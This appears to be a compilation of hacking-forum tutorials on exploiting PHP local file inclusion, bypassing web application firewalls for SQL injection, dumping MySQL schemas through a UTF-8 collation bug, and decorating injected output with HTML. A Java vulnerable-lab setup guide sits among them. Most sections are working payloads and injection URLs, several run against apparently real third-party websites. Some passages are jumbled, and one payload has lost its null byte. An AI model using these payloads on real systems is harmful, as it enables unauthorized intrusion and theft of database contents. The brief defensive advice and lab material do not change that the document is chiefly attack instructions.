LFI’s Exploitation Techniques

What’s a Local File Inclusion?A local file inclusion (usually called “LFI”) is a webhacking technique that allow simply to include files from a local location. That means that we can include a file that is outside of the web directory (if we got rights), and execute PHP code.
<?php include($_GET[‘page’]);?>
This code will search for the variable GET “Page”, include and execute the page specified by that GET variable. If you wan’t an example, you’ve surely already seen an website with something like “index.php?page=news.php” that’s it, that’s in a lot of case, an include. To start include file locally, we’ll use “../” that allow us to go to an directory upper than the actual one. We’ll try to include the file /etc/passwd, well, it’s not always readable but it’s a good start. We’ll use “../” to go to the root, then load /etc/passwd.
http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd
I personally prefer using “./” before the page name to verify if there’s an exploitable local file inclusion (example: index.php?page=news.php >> index.php?page=./news.php if it works, mostly there’s an LFI) but it won’t always work. Note that /etc/password will only works on Linux system.
The null byte technique.In most cases, the webmaster will not do an include like that, he’ll prefer add himself “.php” at the end of the inclusion. (Well, we can say that index.php?p=newsis prettier than index.php?p=news.php) He’ll use a code like that:
<?php include($_GET[‘page’].”.php”);?>
So, this time, the php will include again a page with the GET variable page, but it’ll add .php at the end. To bypass this restriction, we’ll use the null byte. The principe of the null byte is that it is an line terminator char. It means that everything after the null byte will be deleted. To use it, you’ll have to got a website with magic quotes off. The character urlencoded is “” (the browser will automatically translate it) so, for example, this time we’ll gotta use that:
http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd
It’ll include /etc/passwd perfectly. The .php will be deleted by the null byte.

And now that I got a LFI, what should I do?
I actually know only 4 LFI exploitation technique, there they are:

The access.log
The principe is simple, we’ll include the log file that logs all the web connections to the server. In our case, it’ll be the access.log, but it can also be access_log, or any name in fact. (You’ll gotta see the apache/httpd configuration to know what’s the logfile name).
http://site.com/&lt;? phpinfo(); ?>
By the way, I think that the useragent is not urlencoded, so you can modify it and try with that.
The /proc/self/environ
You’ll gotta do something like that, then the server will log it inside the access_log, and when  you’ll include it, the code will be executed. Note that your browser automatically urlencode your special chars, so you’ll have to go to that url with a script that won’t auto-urlencode. If you go with your browser, it’ll be something like: “%3C? phpinfo(); ?%3E”.
It’s my favorite one. Try to include /proc/self/environ, you will see a list of actual processus variable. (Well, if you got rights to include that file, that’s not often the case) you’ll see something like that if you’re on Mozilla:
HTTP_USER_AGENT=Mozilla/5.0
Why it is interessant? Because you’ll can change your useragent to suit the php code you want. How? Go to “about:config” (type it in your Firefox Browser), create a new line, string, with these datas: “general.useragent.override” for the name, and “<? phpinfo(); ?>” for the value. (Note that there’s some tool that do it automatically, like useragent switcher). Reload the page, and you’ll see an phpinfo instead of “Mozilla/5.0”
The PHP Sessions Exploitation.
Another exploitation is the sessions exploitation. If your site got php sessions (phpsessid, etc..) you’ll can include them and if you can modify the datas, it’ll be easy to execute code. You’ll gotta include sess_[your phpsessid value]. Most of time, it is in /tmp, but you’ll can find it sometimes in /var/lib/php5/ also, etc.. The data stored in phpsessid should be everything (like a name at a register, an option you choose).
index.php?p=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
I suggest you to surf a little before trying to include the phpsessid, touch at everything, modify options, etc..
The upload
We don’t often heard of it, but it’s the easiest technique. Just upload a file that contain php code, include it. Example: There’s an forum on the site you’re actually trying LFIs, upload an avatar with modified code that contain php (hexedit it, and modify only at the center of the datas, so the forum will still recognize it as an image). Found the right path, and include your avatar, tadaa, your code is executed.

Read a file with LFI
There’s a technique that will allow us to “read” a file with a LFI. (Interessant file to check should be config.php file, that normally, will only be executed, not shown). We’ll use PHP Filters to help us do it:
index.php?page=php://filter/read=convert.base64-encode/resource=config
This code will base64 the resource “config” (like if it was index.php?page=config, but with base64’d) with that, your code won’t be executed, and you’ll can base64_decode() it after to take the original config.php file. This method won’t need magic quotes but you’ll need to have a PHP Version higher or egal to PHP5.

Special cases
Sometimes, even if you can read the /etc/passwd, it is not an include. For example, when they’ll use readfile() in php, it’ll load the file, but php code won’t be executed. It’s a problem to execute php code, but well, it’ll give you an advantage on one point, you’ll can read configs file.
index.php?page=./forum/config
Then show the source of the page (CTRL+U) to have the code.

The “Does a folder exist” trick.
If you got a LFI, a good technique to know if a folder exist is simply to enter, then go out of it. Example:
index.php?page=../../../../../../var/www/dossierexistant/../../../../../etc/passwd

How to protect from LFIs?
Well, first, activate magic quotes, it’s not the “perfect solution”, but it’ll help. Then you should also activate open_basedir to only read into your web folder and /tmp, you should also do a function that parse the “/” , “.” and “” char.
But well, the best option is the non dynamic include.
if ($_GET[‘page’] == “news”) {include(“news.php”);} else {include (“accueil.php”);}



Sql injection (waf bypass)


 
Note: Before starting this topic, I want to clarify that I won't be covering on basic SQL Injection attacks. This article is meant for WAF /Filter bypassing during Injection.

What is WAF?

WAF stands for Web Application Firewall. It is widely used nowadays to detect and defend SQL Injections and Cross Site Scripting (XSS) attacks.

How does it Work?


When WAF detects any malicious input from end user, It gives 403 Forbidden, 406 Not Acceptable or any Kind of Custom errors 



How to bypass this thing?


So, what to do next? we cant do our further injection right? 

Well its time to use various techniques to bypass thing. Some of these techniques are mentioned below:

# Case Changing:


Most of the Waf's only filter lowercase or higher-case keywords. We can easily evade that kind of wafs by using alternate case. 
if union select is forbidden , we can always try UNION SELECT instead. And if both does not work, We can try our luck with using mixture of both. like UniOn seLeCt

# Using Comments


SQL comments really help us in many cases. They play their important role in killing some Waf's Restrictions. e.g

// , -- , --+ , #, -- - 

# Inline Comments


Some WAF’s filter keywords like /union\sselect/ig We can bypass these filters by using inline comments most of the time

http://localhost/waf.php?id=1 /*!union*/ /*!select*/ 1,2,3--




Tip: Read SQLi Errors carefully. Sometimes they left error from which we can have idea that how waf is working on this site.


Anyways, We were talking about Filtered Keywords. So it does not mean that waf is only filtering union select. It may be filtering all SQL keywords like table_name, column_name etc

So might need to apply these inline comments on those keywords as well. Example


http://localhost/waf.php?id=1 /*!union*/ /*!select*/ 1,2,/*!table_name*/,4,5 /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schema*/=database()--

# Double use of Keywords


Sometimes WAF removes whole keyword from the query and execute it and throw errors

In such cases, we can use keywords in this way


http://localhost/waf.php?id=1 UNunionION SELselectECT 1,2,3,4,5,6--

Anyways It totally depends upon the scenario. Im just giving a common Idea. Rest is upon you that how you use it.

# Using Different types of Whitespaces


Sometime Waf may be filtering the whitespace we are using between keywords. We mostly use Spaces But space is not the only whitespace we can use in SQL injection. We have some other options as well

for example + . 

%20 is use for space, but we can try using one of these whitespaces . some examples are %09 %0A %0B %0C %0D %A0


inurl: 

union%0Bselect%0B1,2,3--


# Encoding

We can always try our luck with URL encode thing to bypass WAF. For example we can use 


union select 1,/*!table_name*/,3 from information_schema.tables where table_schema=database()

as 

union%20select%201,%2f%2a%21table_name%2a%2f,3%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29 

but sometime waf filter also filter % itself. So we have to use double URL encoding in that case


union%2520select%25201,%2f%2a%21table_name%2a%2f%2520,3 from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529

# Unexpected Input

This scenario is very rare that we have to use buffer overflow or give unexpected query /request to trick WAF filters. 

for example:


http://localhost/waf.php?id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,3,4,5--

This thing only worked once for me. But knowledge is Power, may be you face any scenario that can be bypassed by using buffer overflow

# use all above mentioned techniques together

ah.. tried all those things but still its showing NOT ACCEPTABLE or FORBIDDEN. well its time to use all these above mentioned techniques combined.

For example: you can use alternative cases with inline comments or obfuscation.

#Some Common Union Select Solutions:

%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT

I hope you have enjoyed this article. Please give us your feedback. So that we maybe able to make things more clear for you next time .

New kind of dios using UTF-8 bug By Benzi

toc
-intro
-insert()
-replace()

intro
up to now, to perform dios query, we used local variable.
today, i will show you a way of dump the whole table, without local variable.
but i wanna talk about the bug first.
in mysql, theres a bug, that if theres a utf8 column, and replace some of the content with another utf8/binary content, the webserver wont delete the previous content.
for example, lets say i have a table named "books", with the column "color".
Code:
SELECT `color` FROM `books`;
red
green
blue

if i wanna add "!" after the word, i can do it by using insert() function.
Code:
SELECT insert("!",1,0,color) FROM books;
red!
green!
blue!

but what if i use 0x21 instead of "!" ?
Code:
SELECT insert(0x21,1,0,color) FROM books;
red!
greenred!
bluegreenred!

we got us a bug.
as we can see, the rows are being concat to each other, and the last row contains all the records.
so what if we use information_schema instead?
Code:
SELECT insert(0x21,1,0,table_name) FROM information_schema 0.e.tables where table_schema not like 'inf%';
table1!
table2table1!
table3table2table1!

why is this happening?
collation('!') = latin1
collation(0x21) = binary
collation(table_name) = utf8.
apperently mysql 5.1+ cant handle mix of utf8 and binary.

a few docs on bugs.mysql-
https://bugs.mysql.com/bug.php?id=49271
https://bugs.mysql.com/bug.php?id=7642
https://bugs.mysql.com/bug.php?id=12351
https://bugs.mysql.com/bug.php?id=16716
https://bugs.mysql.com/bug.php?id=69891
https://bugs.mysql.com/bug.php?id=64338
https://bugs.mysql.com/bug.php?id=9011
https://bugs.mysql.com/bug.php?id=7874
https://bugs.mysql.com/bug.php?id=10572
https://bugs.mysql.com/bug.php?id=3796
https://bugs.mysql.com/bug.php?id=8785
https://bugs.mysql.com/bug.php?id=38980

insert()
as we saw on the intro, we can perform dios using insert().
now i will demonstrate on a live site.
Code:
http://www.replasticsurgery.asia/readnews.php?id=4 and 0 union select 1,2,3,4

lets try to see if the bug exist.
in this site, theres 1267 (illegal mix) bug, so i will use unhex(hex()).
its ironic, because 1267 suppose to be a fix of that bug. Smile
Code:
http://www.replasticsurgery.asia/readnews.php?id=4 and 0 union select 1,2,3,insert(0x1,1,0,unhex(hex(table_name))) from information_schema 0.e.tables

[Image: YzwUKo1.png]

as we can see, each row contains the previous raw.
which means, the last raw contains all the data.
but how can we see only the last row?
well, with limit.
first, we will count the table, and via the last raw by using "limit count-1,1".
Code:
http://www.replasticsurgery.asia/readnews.php?id=4 and 0 union select 1,2,3,count(*) from information_schema 0.e.tables
59, which means limit 58,1.
we decreasing one number, because the counting starts with 0.
Code:
http://www.replasticsurgery.asia/readnews.php?id=4 and 0 union select 1,2,3,insert(0x1,1,0,unhex(hex(table_name))) from information_schema 0.e.tables limit 58,1

[Image: zMS8jfV.png]

all the tables.
lets arrenge it a bit.
we need to fix 3 things-
*the output is backwards
*make it more normal to look
*add columns.

to overcome the first problem, we will add "reverse" function on the table_name, and another one on the whole insert().
Code:
http://www.replasticsurgery.asia/readnews.php?id=4 and 0 union select 1,2,3,reverse(insert(0x1,1,0,reverse(unhex(hex(table_name))))) FROM information_schema 0.e.tables limit 58,1

for the 2nd and 3rd problem, we will add "concat", and add column_name and <br>.
the count(*) from columns is 612, so-
Code:
http://www.replasticsurgery.asia/readnews.php?id=4 and 0 union select 1,2,3,count(*) FROM information_schema.columns
Code:
http://www.replasticsurgery.asia/readnews.php?id=4 and 0 union select 1,2,3,reverse(insert(0x1,1,0,reverse(concat (unhex(hex(table_name)),0x203a20,unhex(hex(column_name)),0x3c62723e)))) from information_schema 0.e.columns limit 611,1

[Image: oFM9VDx.png]

perfect.

replace()
in replace, we just need to find a utf8 column and replace the content of the column with the content we want.
fortunately, all the system variables are utf8.
Code:
http://www.replasticsurgery.asia/readnews.php?id=4 and 0 union select 1,2,3,replace(@@version,5,@@version) from information_schema 0.e.tables

[Image: caua5BC.png]

same bug.
now we will replace the second version with the table_name and column_name concated to @@version, and instead of '5', i will put @@version, to clean our field.
be sure to concat @@version, because we need it to be utf8.
Code:
http://www.replasticsurgery.asia/readnews.php?id=4 and 0 union select 1,2,3,replace(@@version,@@version,concat (unhex(hex(table_name)),0x203a20,unhex(hex(column_name)),0x3c62723e,@@version)) from information_schema 0.e.columns limit 611,1

[Image: hCcfMY6.png]

did i say perfect? i believe so. ;)
hope you learned something. Smile

Java Vulnerable Lab – Learn to Hack and secure Java based Web Applications


We (Cyber Security and Privacy Foundation) have developed a vulnerable Java based Web Applicatoin . This app is intended for the Java Programmers and other people who wish to learn about Web application vulnerabilities and write secure code.
The full course on Hacking and Securing Web Java Programs is available in
Warning: Don’t run this app in Your Main Machine or in an online server. Install it in Vitual Machine.
How to setup Java Vulnerable Lab?
Method 1.Very Easiest Method : VirtualBox VM The Most easiest way to use Java Vulnerable is using the VirtualBox VM which has everything set up and ready to use.
Steps:
  1. Install the VirtualBox : https://www.virtualbox.org/wiki/Downloads
  2. Download the VM Image from here : http://sourceforge.net/projects/javavulnerablelab/files/v0.1/JavaVulnerableLab.ova/download
  3. Import the JavaVulnerable.ova into VirtualBox.
  4. Change the Network Settings to Host-Only Network 
  5. Start the Machine and Log into the Machine( Credentials; username: root password: cspf) 
  6. Start Tomcat by entering "service tomcat start" in the Terminal
  7. Start mysql by entering "service mysql start" in the Terminal
  8. Find the IP Address of Machine
  9. In your Browser, go to "http://[IP_ADDRESS_OF_VM]:8080/JavaVulnerableLab/install.jsp 
  10. Click the Install Button
  11. Enjoy :)


Method 2.Easiest Method : Standalone Web Application In this mehtod, you will be running an executable “JAR” file which runs the application with an embedded Apache Tomcat.
Steps:

    1. Install JDK
    2. Download Executable Jar from here: http://sourceforge.net/projects/javavulnerablelab/files/v0.2/JavaVulnerableLab.jar/download
    3. Double Click the JavaVulnerable.jar to run( if double click is not working, run this command "java -jar JavaVulnerable.jar" in your Terminal or CMD)
    4. In your Browser, go to "http://localhost:8080/JavaVulnerableLab/install.jsp 
    5. Click the Install Button

Method 3. Using War file: This is a NORMAL method to deploy the WAR file.
Steps:
   1. Install Apache Tomcat server
   2. Go to http://[Tomcat_INSTALLED_IP]:8080/manager/  (make sure you have modified tomcat-users.xml file of the tomcat to allow the manager).
   3. Download our WAR file from here: https://sourceforge.net/projects/javavulnerablelab/files/latest/JavaVulnerableLab.war/download
   4. Deploy the WAR in Apache Tomcat manager.
   5. Go to http://[Tomcat_INSTALLED_IP]:8080/JavaVulnerableLab/install.jsp 
   6. Click the Install Button

You can contribute or get the source code of Java Vulnerable Lab from here:
https://github.com/breakthesec/JavaVulnerableLab

ADDING HTML IN SQL INJECTION ( SQLI FUN )

Introduction:

In this tutorial i will show you how to add HTML tags and designs in your SQL Injection queries..


[Image: folder_HTML.png]


Purpose:


-----> By using HTML tags in our SQLi query, we can arrange the output in a proper way.

-----> Sometimes the result of our query appears in the source of the webpage or in the title or sometimes in the URL. In that case we add HTML tags to make it more visible on the webpage.





-----> I don't know about you guys but as you can see i like Colors and decoration .. ALOT .. Big Grin


Tutorial: 


First of all, i assume you guys have sound knowledge of SQL injection and Basic HTML.

For this Tutorial .. The site I'm going to inject is :


hxxp://www.dbhspgoa.edu.in


Here is the vulnerable link where parameter 'id' is vulnerable to a very simple SQLi.


hxxp://dbhspgoa.edu.in/Article.php?id=92


So, lets start with some very basic injection and i can quickly see that there are 9 Columns here.


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,4,5,6,7,8,9--


[Image: makht1.JPG]

And I will inject in 4th column. so Lets get the database name in 4th column.


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,concat(database()),5,6,7,8,9--


[Image: mkdb.JPG]

Now, look at the database name. Even though it is visible ( not in the source code but on the proper page ) but font size is very small .. Don't know about you .. but i don't like it. Undecided

Now, let me show you the wonders of HTML tags.

We can always add HTML in our SQLi query. Sometimes we can write it directly enclosed in single quotes like :



concat ('<opening_tags>', QUERY , '<closing_tags>')


But most of the times this syntax is not allowed and we have to convert our HTML tags in HEX . like ..


concat(0xHEX_value_of_opening_tag , QUERY , 0xHEX_value_of_closing_tag)





Notice these 0x here .. This means that what ever is written after this .. Decode it from HEX before executing.



Following are the basic usage of these tags. You can use your creativity and endless imagination.




Example 1:




Lets start with an HTML tag called <font>.




Usage <font size="8" color="red"> MakMan </font>




I'm going to use this tag in our query but in this website it doesn't allow to use HTML tags directly so we have to convert to HEX first. Just follow the syntax.


Now my format should be:


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,concat(0xHEX_value_of_opening_tag,database(),0xHEX_value_of_closing_tag),5,6,7,8,9--


To convert in HEX, you can use many online tools. Just google :String to HEX converter
After converting my opening and closing tags in this case.




Opening_tag = <font size="8" color="red"> ---- HEX ---> 3c666f6e742073697a653d22382220636f6c6f723d22726564223e




Closing_tag </font> ---- HEX ---> 3c2f666f6e743e





Putting these HEX values in my format. My query will become:





hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,concat(0x3c666f6e742073697a653d22382220636f6c6f723d22726564223e,database(),0x3c2f666f6e743e),5,6,7,8,9--





Look at the Result now .. Sweet Big Grin

[Image: dbcol.JPG]




Example 2:


Mostly people write their names in SQL Injection with their query. Lets try that.

Creativity has no boundaries. 

My HTML Syntax before converting to HEX (Just to show you guys what I'm doing, It will not work You have to Convert it to HEX):


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,group_concat(0x<br><font face='calibri' size="5" color="green">MakMan</font><font face='Impact' size="4" color="red">,table_name,0x</font>,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--


My HTML Syntax after converting it to HEX:


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,group_concat(0x3c62723e3c666f6e7420666163653d2763616c69627269272073697a653d22352220636f6c6f723d​22677265656e223e4d616b4d616e202d2d2d3e3c2f666f6e743e3c666f6e7420666163653d27496d​70616374272073697a653d22342220636f6c6f723d22726564223e,table_name,0x3c2f666f6e743e),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--